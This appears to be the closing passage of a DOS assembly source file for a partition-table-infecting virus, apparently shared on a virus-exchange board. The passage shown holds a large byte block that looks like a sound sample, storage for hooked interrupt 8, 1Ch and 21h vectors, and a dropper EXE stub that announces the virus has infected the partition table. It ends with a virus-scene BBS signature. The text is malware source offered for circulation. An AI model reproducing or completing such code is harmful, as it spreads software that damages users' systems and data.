  830.         db    0e2h,000h,000h,020h,008h,008h,063h,0ech,004h,023h,024h,062h,08ch,0abh,052h,02dh
  831.         db    0a8h,004h,09bh,034h,0a5h,0c6h,092h,0b4h,0a6h,099h,012h,0c1h,09dh,0a0h,02ch,0dbh
  832.         db    034h,0cdh,0a8h,044h,098h,0f6h,024h,003h,07fh,0a0h,040h,01bh,0feh,000h,00bh,0ffh
  833.         db    080h,001h,0ffh,0c0h,000h,0ffh,0f0h,000h,07fh,0f8h,000h,03fh,0f8h,000h,03fh,0f0h
  834.         db    000h,03fh,0f8h,000h,03fh,0f0h,000h,07fh,0c0h,003h,0ffh,0c0h,003h,0ffh,000h,005h
  835.         db    0feh,04eh,01dh,0e0h,031h,0ffh,000h,0c7h,0feh,000h,01fh,0feh,000h,03fh,0feh,000h
  836.         db    03fh,0ffh,080h,03fh,0ffh,000h,047h,0f9h,082h,007h,0e7h,08ch,00fh,09fh,070h,03eh
  837.         db    07fh,0c0h,071h,0bfh,000h,0e7h,07ch,003h,09fh,0f8h,00eh,03fh,0e0h,018h,0f7h,0c0h
  838.         db    073h,0ffh,001h,0c7h,0fch,003h,00eh,0f8h,00eh,03fh,0e0h,018h,06fh,0c0h,070h,09fh
  839.         db    080h,0e3h,07eh,003h,0c6h,0fch,007h,083h,0f8h,00eh,007h,0f0h,01ch,06fh,0c0h,078h
  840.         db    01fh,0c0h,0f1h,07fh,001h,0e0h,0ffh,003h,0c1h,0feh,003h,083h,0fch,007h,007h,0f8h
  841.         db    00fh,00fh,078h,00eh,00eh,0f8h,01eh,01eh,0f0h,01eh,03ch,0f0h,01ch,03dh,0e1h,05ch
  842.         db    039h,0e1h,018h,07bh,0c2h,038h,073h,0c3h,038h,0f3h,086h,038h,0e7h,086h,070h,0e3h
  843.         db    086h,070h,0e3h,084h,070h,0e3h,086h,070h,0e7h,08ch,070h,0e7h,08eh,070h,0e3h,086h
  844.         db    071h,0c3h,086h,078h,0e3h,080h,079h,0e3h,082h,038h,0f1h,0c3h,01ch,0f9h,0c3h,01ch
  845.         db    078h,0c1h,01eh,078h,0e1h,08fh,03ch,070h,08fh,03ch,030h,067h,08eh,038h,073h,086h
  846.         db    018h,07bh,087h,08eh,03ch,0e3h,08fh,038h,060h,0e7h,08ch,038h,0f3h,087h,00eh,078h
  847.         db    0c3h,01eh,070h,070h,0e7h,086h,021h,0e7h,007h,08ch,078h,00eh,03eh,0e0h,0f1h,0cfh
  848.         db    000h,0f1h,0e7h,007h,01ch,078h,0c7h,01eh,078h,070h,0c7h,08eh,030h,067h,0c7h,08eh
  849.         db    018h,0f3h,007h,070h,07ch,079h,0c1h,019h,033h,004h,0e3h,0cfh,003h,087h,03ch,070h
  850.         db    0f1h,0c7h,00eh,03ch,0f1h,0e1h,087h,09ch,038h,061h,0e7h,08fh,01ch,03fh,087h,03ch
  851.         db    00fh,0f3h,0c3h,086h,03ch,0f0h,018h,05fh,03eh,030h,0f1h,087h,0c6h,00fh,0f0h,0e3h
  852.         db    0c7h,01fh,00eh,03ch,071h,087h,08eh,01fh,018h,079h,0c3h,08fh,01ch,01eh,018h,0f1h
  853.         db    0e0h,007h,0cch,01eh,038h,071h,0e0h,0c7h,0c6h,01ch,07ch,0e0h,01ch,078h,07fh,010h
  854.         db    07fh,0e0h,018h,0e1h,0cfh,018h,0e1h,0c0h,038h,0e7h,0c0h,01ch,079h,087h,038h,023h
  855.         db    0ech,018h,0f1h,082h,078h,003h,0c6h,018h,07bh,0c1h,0f8h,001h,0cfh,018h,079h,0c1h
  856.         db    00eh,038h,073h,0ddh,019h,0f1h,007h,03ch,070h,0e7h,008h,078h,0c3h,00eh,078h,023h
  857.         db    08eh,018h,073h,0c7h,09eh,030h,0c3h,08eh,018h,0f1h,0c7h,00ch,070h,0e3h,08eh,03ch
  858.         db    071h,0c3h,01ch,038h,0e1h,08fh,01ch,070h,0c7h,08eh,038h,061h,0c7h,01eh,038h,0e1h
  859.         db    08fh,01ch,071h,0e7h,08ch,038h,0e3h,0c6h,01ch,078h,0e1h,00eh,01ch,078h,0c7h,08eh
  860.         db    03ch,031h,0c3h,08fh,028h,070h,0e3h,086h,01ch,038h,0f1h,087h,00eh,038h,071h,0c3h
  861.         db    08fh,01ch,078h,0e1h,0c3h,00eh,01ch,078h,0e1h,0c3h,08eh,01ch,078h,071h,0c1h,08fh
  862.         db    08fh,0f8h,03dh,0f8h,018h,007h,0feh,002h,007h,0feh,006h,003h,0ffh,083h,0c1h,0ffh
  863.         db    0c1h,081h,0f7h,0d1h,0c0h,0ffh,0c0h,0c1h,0f3h,0e1h,0c1h,0f7h,0e0h,0c1h,0e3h,0e1h
  864.         db    0c1h,0e3h,0c1h,0c1h,0e3h,0c3h,083h,0c7h,083h,083h,0c7h,087h,007h,08fh,086h,00fh
  865.         db    09eh,01ch,01eh,01ch,03ch,01ch,03ch,038h,078h,038h,0f0h,0f8h,0e0h,0f1h,0f1h,0c1h
  866.         db    0e1h,0f3h,083h,087h,0deh,006h,00fh,03eh,01ch,03ch,07ch,038h,07ch,0f8h,060h,0ffh
  867.         db    0c7h,083h,087h,087h,083h,00fh,00fh,087h,01fh,01fh,007h,09fh,01eh,007h,087h,00fh
  868.         db    00fh,00fh,00fh,00eh,01eh,01eh,01ch,01eh,03eh,00ch,03ch,03eh,00ch,03ch,03eh,01ch
  869.         db    01ch,07ch,03ch,038h,0f8h,078h,0f0h,0f0h,0f0h,0f1h,0f1h,0c1h,0f1h,0e3h,083h,0e1h
  870.         db    0c0h,047h,0c7h,0c1h,08fh,00fh,086h,01eh,00fh,018h,078h,01ch,061h,0fch,071h,08eh
  871.         db    071h,0c6h,031h,0c7h,030h,0c7h,018h,0e3h,08ch,0e3h,09eh,023h,08eh,078h,00eh,039h
  872.         db    0c0h,078h,07fh,0e1h,0e0h,0f9h,0c3h,080h,0f3h,00fh,003h,0cch,03ch,0cfh,010h,073h
  873.         db    01eh,0e0h,0c6h,07dh,007h,001h,0fch,004h,041h,0f3h,080h,0b1h,0eeh,040h,067h,01ch
  874.         db    039h,09eh,03ch,0e6h,038h,003h,09ch,063h,00eh,079h,087h,00dh,0c7h,00ch,007h,08eh
  875.         db    018h,00fh,09eh,006h,01fh,01fh,00ch,03eh,03eh,006h,03ch,01ch,01ch,07eh,03ch,038h
  876.         db    03eh,038h,07ch,07ch,060h,070h,079h,081h,0e0h,0e2h,063h,0c1h,0c1h,0c3h,087h,0c7h
  877.         db    087h,007h,03fh,00eh,00ch,0ceh,03eh,033h,038h,078h,07ch,0e0h,0e0h,0f9h,0e3h,083h
  878.         db    0f1h,085h,0cfh,0e6h,007h,01fh,098h,01ch,07eh,020h,070h,0fch,031h,099h,0d8h,0c6h
  879.         db    067h,063h,01bh,09dh,08ch,00eh,07bh,030h,079h,0e0h,080h,0fbh,0cch,003h,0e7h,030h
  880.         db    00fh,09ch,0c0h,03eh,033h,000h,0fch,0ceh,003h,0f3h,098h,00dh,0ceh,060h,037h,039h
  881.         db    080h,0dch,0e7h,001h,073h,09ch,007h,0ceh,070h,01fh,01ch,0c0h,03eh,073h,000h,0f1h
  882.         db    0cch,001h,0cfh,038h,006h,03eh,0e0h,00ch,0ffh,098h,043h,0feh,061h,00fh,0f9h,084h
  883.         db    077h,0f2h,010h,08fh,0cch,003h,03fh,091h,000h,07fh,002h,013h,0fch,0c8h,047h,0fbh
  884.         db    030h,00ch,0e6h,00ch,00dh,0dch,020h,099h,0b8h,0cch,013h,0e3h,038h,08dh,08ch,0e1h
  885.         db    099h,03bh,0d8h,099h,0bfh,0ech,0c4h,07fh,09ch,0c8h,0ceh,07eh,004h,02fh,0f9h,000h
  886.         db    027h,0f7h,020h,01bh,0ffh,0c0h,00eh,0f7h,060h,011h,0ffh,0c0h,006h,0ffh,080h,001h
  887.         db    0feh,0c4h,066h,0fch,0d0h,011h,0ddh,0c4h,067h,027h,033h,0fch,0cch,046h,066h,072h
  888.         db    000h,0cfh,0eeh,0c0h,00fh,077h,030h,019h,09fh,0e0h,000h,0dfh,0d8h,011h,01ch,0cch
  889.         db    0cch,046h,067h,073h,011h,099h,09ch,0cch,0e6h,062h,033h,03bh,011h,08dh,0feh,0c4h
  890.         db    003h,07fh,0b9h,080h,08ch,0f6h,062h,000h,03dh,0dch,000h,007h,0fbh,010h,019h,0bfh
  891.         db    0e2h,046h,007h,033h,0b1h,008h,06eh,063h,031h,09fh,0f0h,000h,067h,073h,011h,099h
  892.         db    0cfh,033h,030h,030h,0d9h,098h,080h,03fh,0fch,000h,04fh,0efh,073h,030h,018h,07fh
  893.         db    0fch,000h,019h,0feh,000h,037h,0ffh,080h,000h,037h,08eh,0f9h,000h,003h,0ffh,080h
  894.         db    006h,0ffh,0f0h,000h,01eh,0f1h,0dbh,080h,000h,037h,0f0h,000h,027h,0f3h,040h,04eh
  895.         db    0e7h,000h,04fh,0c6h,000h,0dfh,0ceh,080h,09dh,0cch,001h,09fh,0c4h,000h,09fh,0fch
  896.         db    001h,09fh,080h,000h,0bfh,0c8h,080h,09dh,0cch,080h,0ceh,0e4h,040h,04eh,0ffh,022h
  897.         db    027h,072h,010h,013h,0bbh,098h,00dh,0dch,084h,002h,077h,062h,001h,0bbh,0b0h,080h
  898.         db    04eh,0ech,040h,01bh,0bbh,010h,006h,0eeh,042h,000h,09dh,0d8h,080h,013h,0bbh,000h
  899.         db    002h,077h,062h,004h,06eh,0e4h,020h,00ch,0eeh,0c0h,000h,0cch,0ech,000h,00ch,0eeh
  900.         db    0c0h,000h,06eh,0f4h,000h,006h,077h,040h,002h,033h,0feh,080h,018h,0dfh,0f0h,000h
  901.         db    046h,07fh,0c0h,023h,01bh,0f6h,000h,00ch,0ffh,0d8h,010h,031h,07eh,070h,03ch,00fh
  902.         db    0e0h,0f8h,01fh,081h,0f0h,03eh,007h,0c0h,0f0h,03eh,003h,003h,0f0h,038h,03fh,003h
  903.         db    081h,0f0h,03ch,01fh,081h,0c1h,0f0h,01ch,00fh,081h,0e0h,0f8h,01eh,00fh,080h,0e0h
  904.         db    07fh,07fh,0ffh,0ffh,0ffh,0ffh,0ffh,0feh,06ch,092h,0d9h,0a6h,0c6h,082h,0c8h,032h
  905.         db    049h,000h,083h,07fh,0b0h,000h,016h,0ffh,0a0h,000h,05fh,0fdh,080h,042h,0bfh,0f0h
  906.         db    082h,009h,02dh,010h,080h,099h,06bh,040h,006h,0cah,0a0h,000h,0bdh,0b4h,000h,050h
  907.         db    0b4h,001h,0d1h,0a4h,081h,0d3h,046h,096h,0d6h,0a2h,049h,0dbh,040h,0b7h,0f4h,083h
  908.         db    06dh,0e9h,026h,0f1h,0f2h,027h,0f3h,0a4h,0b7h,063h,060h,01fh,0c7h,0f1h,036h,0cfh
  909.         db    0b0h,03eh,00dh,0b0h,07eh,00bh,0d0h,07bh,01bh,0c0h,07ch,01bh,064h,06ch,01fh,024h
  910.         db    064h,00dh,036h,066h,04dh,093h,023h,06dh,01bh,003h,02dh,09dh,007h,085h,09dh,087h
  911.         db    0c4h,08eh,087h,0c4h,0c6h,0c3h,0c4h,0c7h,043h,066h,043h,003h,0e6h,043h,081h,0b2h
  912.         db    065h,081h,0b2h,061h,081h,0b3h,063h,081h,0d3h,033h,0c1h,0f1h,031h,091h,0b1h,033h
  913.         db    0b1h,0f1h,033h,0a1h,0e1h,023h,021h,0e1h,023h,063h,063h,066h,066h,0e3h,066h,0e4h
  914.         db    0c7h,04dh,0cdh,08fh,013h,05bh,09eh,066h,064h,0ech,0cch,0c9h,0ddh,099h,091h,0bbh
  915.         db    017h,04fh,0d8h,02eh,00fh,032h,07eh,01eh,068h,0f8h,079h,091h,0f0h,0f7h,046h,0c5h
  916.         db    0deh,09fh,09fh,0edh,07ch,02fh,0b3h,034h,05eh,04ch,099h,0b9h,0bbh,032h,0cah,0cch
  917.         db    0dbh,009h,013h,00dh,034h,02eh,064h,0d8h,0b9h,0a1h,023h,064h,08ch,08dh,092h,032h
  918.         db    03ch,0c8h,0c8h,0fah,037h,023h,0d0h,09ch,00eh,0c2h,0f0h,066h,04bh,0c1h,0d9h,01bh
  919.         db    026h,064h,0cch,09bh,007h,033h,06ch,01ch,099h,0e0h,072h,065h,083h,089h,01dh,00eh
  920.         db    024h,064h,078h,0b1h,091h,0e6h,0cch,08fh,012h,032h,038h,049h,090h,0f3h,066h,047h
  921.         db    08dh,019h,01eh,034h,04ch,0d9h,0b3h,033h,0e6h,0cch,0c9h,019h,062h,06ch,06dh,099h
  922.         db    0b1h,0b6h,066h,0c6h,0f8h,09bh,01dh,0c8h,0fch,033h,033h,0b1h,0ech,0cdh,0cdh,099h
  923.         db    03ah,037h,064h,0e8h,0e7h,083h,0c1h,0cfh,007h,087h,0ddh,01fh,00fh,032h,03eh,01eh
  924.         db    074h,07ch,07ch,0e0h,0f8h,0f9h,0c1h,0f9h,077h,043h,0e9h,0fbh,083h,0e0h,0e5h,087h
  925.         db    082h,099h,00fh,016h,073h,023h,001h,0f1h,013h,002h,032h,006h,002h,0f2h,066h,0c0h
  926.         db    0e2h,062h,046h,066h,00eh,00ch,0e6h,026h,040h,0e4h,07ch,000h,0e2h,06ch,001h,0c2h
  927.         db    022h,062h,0e6h,00ch,040h,036h,01eh,002h,0e2h,036h,020h,0f2h,03ch,038h,0f3h,036h
  928.         db    060h,0d3h,013h,042h,07bh,01bh,001h,0f9h,03fh,02ch,0f9h,01bh,0b0h,079h,091h,0b1h
  929.         db    0f9h,01fh,083h,0f9h,09fh,003h,0fdh,09dh,09bh,0bch,0ddh,0dbh,0fch,0ddh,09bh,0fch
  930.         db    0ech,069h,0fch,0dch,0fdh,09ch,0cch,0f9h,03eh,06ch,0bch,0bch,02eh,024h,0feh,066h
  931.         db    034h,0deh,026h,036h,01eh,066h,066h,04eh,066h,02eh,04fh,017h,01fh,027h,033h,01fh
  932.         db    00fh,09bh,01ah,04fh,099h,039h,027h,088h,0d8h,037h,098h,083h,007h,0cch,018h,012h
  933.         db    04ch,01ch,006h,0a4h,036h,00eh,054h,01eh,01fh,01eh,00eh,007h,09eh,00eh,04eh,0ceh
  934.         db    00fh,007h,087h,007h,087h,08fh,007h,003h,047h,007h,083h,0c3h,003h,083h,0e3h,081h
  935.         db    081h,0c3h,0a3h,0e1h,0e3h,0c1h,0f1h,0f1h,0c0h,0e0h,0f9h,0c0h,0f0h,070h,0f0h,0f8h
  936.         db    0f8h,0f0h,0f8h,07ch,0c0h,0d8h,018h,01ch,01ch,06ch,0fch,03fh,025h,0cch,04ch,00ch
  937.         db    0ceh,06eh,03ch,0e2h,0e3h,0e3h,0e7h,0c7h,08ch,073h,032h,074h,0f0h,0f1h,0b2h,070h
  938.         db    0f2h,078h,078h,078h,078h,078h,078h,038h,038h,03ch,03eh,01ch,03ch,01eh,01ch,01ch
  939.         db    01eh,01fh,01eh,00fh,00eh,00eh,00fh,08fh,00fh,007h,087h,087h,043h,083h,0c3h,0c3h
  940.         db    0c3h,0c3h,0c3h,0c3h,0c3h,0c1h,0e1h,0c3h,0e0h,0f0h,0e0h,0e0h,0f0h,0f0h,0e0h,0f0h
  941.         db    070h,0f0h,0f8h,078h,070h,078h,070h,070h,03ch,03ch,038h,03ch,03ch,01ch,03ch,03ch
  942.         db    01ch,01eh,01ch,09ch,01eh,01ch,01eh,01fh,01ch,00eh,01fh,01ch,00fh,01fh,01eh,00fh
  943.         db    00fh,09fh,007h,00fh,0c7h,007h,00fh,087h,017h,087h,087h,087h,0c7h,093h,087h,0c3h
  944.         db    0d3h,083h,0c3h,0d1h,0c3h,0e1h,0f9h,0c3h,0e1h,0e8h,0c7h,0e0h,0f8h,0e3h,0f8h,0f6h
  945.         db    0e3h,0e8h,07eh,0e3h,0e8h,07eh,063h,0e4h,0f9h,0e3h,0e2h,0dbh,0e1h,0e1h,0c8h,0e0h
  946.         db    070h,0cdh,0f0h,0f0h,0cch,0f1h,0f8h,0c1h,0f0h,0f0h,0f1h,038h,038h,073h,038h,03ch
  947.         db    073h,038h,03ch,038h,01ch,01eh,03ah,01eh,01eh,03ch,08eh,01eh,01ch,08eh,00fh,01fh
  948.         db    08eh,00fh,01fh,00eh,00fh,01eh,006h,007h,00eh,007h,04eh,049h,0e2h,036h,00dh,0e6h
  949.         db    028h,0c1h,0f3h,006h,004h,0b3h,007h,001h,0a9h,00fh,083h,095h,007h,087h,0c7h,083h
  950.         db    081h,0e7h,083h,093h,0b3h,083h,0c1h,0e1h,0c1h,0e1h,0e3h,0c1h,0c0h,0d1h,0c1h,0e0h
  951.         db    0f0h,0c0h,0e0h,0f8h,0e0h,060h,070h,0e8h,0f8h,078h,0f0h,07ch,07ch,070h,038h,03eh
  952.         db    070h,03ch,01ch,03ch,03eh,03eh,03ch,03eh,01fh,030h,036h,006h,007h,007h,01bh,03fh
  953.         db    00fh,0c9h,073h,013h,003h,0b3h,09bh,08fh,038h,0bch,0f8h,0f9h,0f1h,0e3h,01ch,0cch
  954.         db    09dh,03ch,03ch,06ch,09ch,03ch,09eh,01eh,01eh,01eh,01eh,01eh,00eh,00eh,00fh,00fh
  955.         db    087h,00fh,007h,087h,007h,007h,087h,0c7h,083h,0c3h,083h,083h,0e3h,0c3h,0c1h,0e1h
  956.         db    0f1h,0d1h,0e0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,078h,070h,0f8h,03ch,038h
  957.         db    038h,03ch,03ch,038h,03ch,01ch,03ch,03eh,01eh,01ch,03eh,01ch,01ch,00fh,00fh,00eh
  958.         db    00fh,00fh,007h,00fh,00fh,007h,007h,087h,027h,007h,087h,007h,087h,0c7h,003h,087h
  959.         db    0c7h,003h,0c7h,0c7h,083h,0c3h,0e7h,0c1h,0c3h,0f1h,0c1h,0c3h,0e1h,0c5h,0e1h,0e1h
  960.         db    0e1h,0f1h,0ech,0e1h,0f0h,0f4h,0e0h,0f0h,0f4h,070h,0f8h,07eh,070h,0f8h,07ah,031h
  961.         db    0f8h,03eh,038h,0feh,03dh,0b8h,0fah,01fh,0b8h,0fah,01fh,098h,0f9h,03eh,078h,0f8h
  962.         db    0b6h,0f8h,0f8h,072h,038h,01ch,033h,07ch,03ch,033h,03ch,07eh,038h,07ch,03eh,03ch
  963.         db    04eh,00eh,01ch,0ceh,00fh,01ch,0ceh,00fh,00eh,007h,007h,08eh,087h,087h,08fh,063h
  964.         db    087h,087h,023h,083h,0c7h,0e3h,083h,0c7h,0c3h,083h,0c7h,081h,081h,0c0h,0f9h,09bh
  965.         db    093h,079h,08dh,083h,079h,08bh,030h,07ch,0c9h,0c3h,02ch,0c1h,0c0h,07ah,043h,0e0h
  966.         db    0e5h,041h,0e1h,0f1h,0e0h,0e0h,0f9h,0e0h,0e4h,0ech,0e0h,0f0h,078h,070h,078h,078h
  967.         db    0f0h,070h,034h,070h,078h,03ch,030h,038h,03eh  ; ,038h
  968.  
  969. SampleEnd    equ    this byte
  970.  
  971. ;------------------------------------------------------------------------------
  972. ;
  973. ; Variables
  974. ;
  975. ;------------------------------------------------------------------------------
  976.  
  977. Active        db    -1
  978. ActiveYear    dw    -1
  979. ActiveDate    dw    -1
  980.  
  981. OldInt8        equ    this dword        ; orginal interrupt 8
  982. OldInt8o    dw    -1
  983. OldInt8s    dw    -1
  984. OldInt1C    equ    this dword        ; orginal interrupt 1ch
  985. OldInt1Co    dw    -1
  986. OldInt1Cs    dw    -1
  987. OldInt21    equ    this dword        ; orginal interrupt 21h
  988. OldInt21o    dw    -1
  989. OldInt21s    dw    -1
  990.  
  991. Count        dw    -1            ; timer count
  992. SampleOffset    dw    -1            ; Used to make sound
  993. SampleBit    db    -1
  994. SampleFlag    db    -1
  995. Handle        dw    8 dup(-1)        ; Filehandles
  996.  
  997. cseg ends
  998.  
  999. ;------------------------------------------------------------------------------
  1000. ;
  1001. ; Orginal EXE-file
  1002. ;
  1003. ;------------------------------------------------------------------------------
  1004.  
  1005. mseg segment public 'code'
  1006.         assume    cs:mseg, ds:mseg, es:mseg
  1007.  
  1008.  
  1009.         db    'MZ'            ; header
  1010.         dw    PrgSize            ; PartPage
  1011.         dw    1            ; PageCount
  1012.         dw    0            ; relocation items = 0
  1013.         dw    0            ; headersize = 0h
  1014.         dw    80h            ; minimum memory
  1015.         dw    0ffffh            ; maximum memory
  1016.         dw    (PrgSize+15)/10h    ; ss
  1017.         dw    7feh            ; sp
  1018.         dw    0            ; chksum
  1019.         dw    offset Orginal        ; ip
  1020.         dw    0            ; cs
  1021.         dw    1ch            ; offset relocation table
  1022.         dw    0            ; overlay number
  1023.  
  1024. Orginal:    mov    ah,9            ; display warning
  1025.         push    cs
  1026.         pop    ds
  1027.         mov    dx,offset Warning
  1028.         int    21h
  1029.         mov    ax,4c00h
  1030.         int    21h            ; terminate
  1031.  
  1032. Warning        db    13,10
  1033.         db    'WARNING:',13,10
  1034.         db    13,10
  1035.         db    'Yeah virus has now infected the partition table !!!!!',13,10
  1036.         db    13,10
  1037.         db    '$'
  1038.  
  1039. mseg ends
  1040.  
  1041. sseg segment stack 'stack'
  1042.         db    800h dup(?)
  1043. sseg ends
  1044.  
  1045. end Main
  1046. 
  1047. ;  ─────────────────────────────────────────────────────────────────────────
  1048. ;  ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
  1049. ;  ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
  1050. ;  ─────────────────────────────────────────────────────────────────────────
  1051.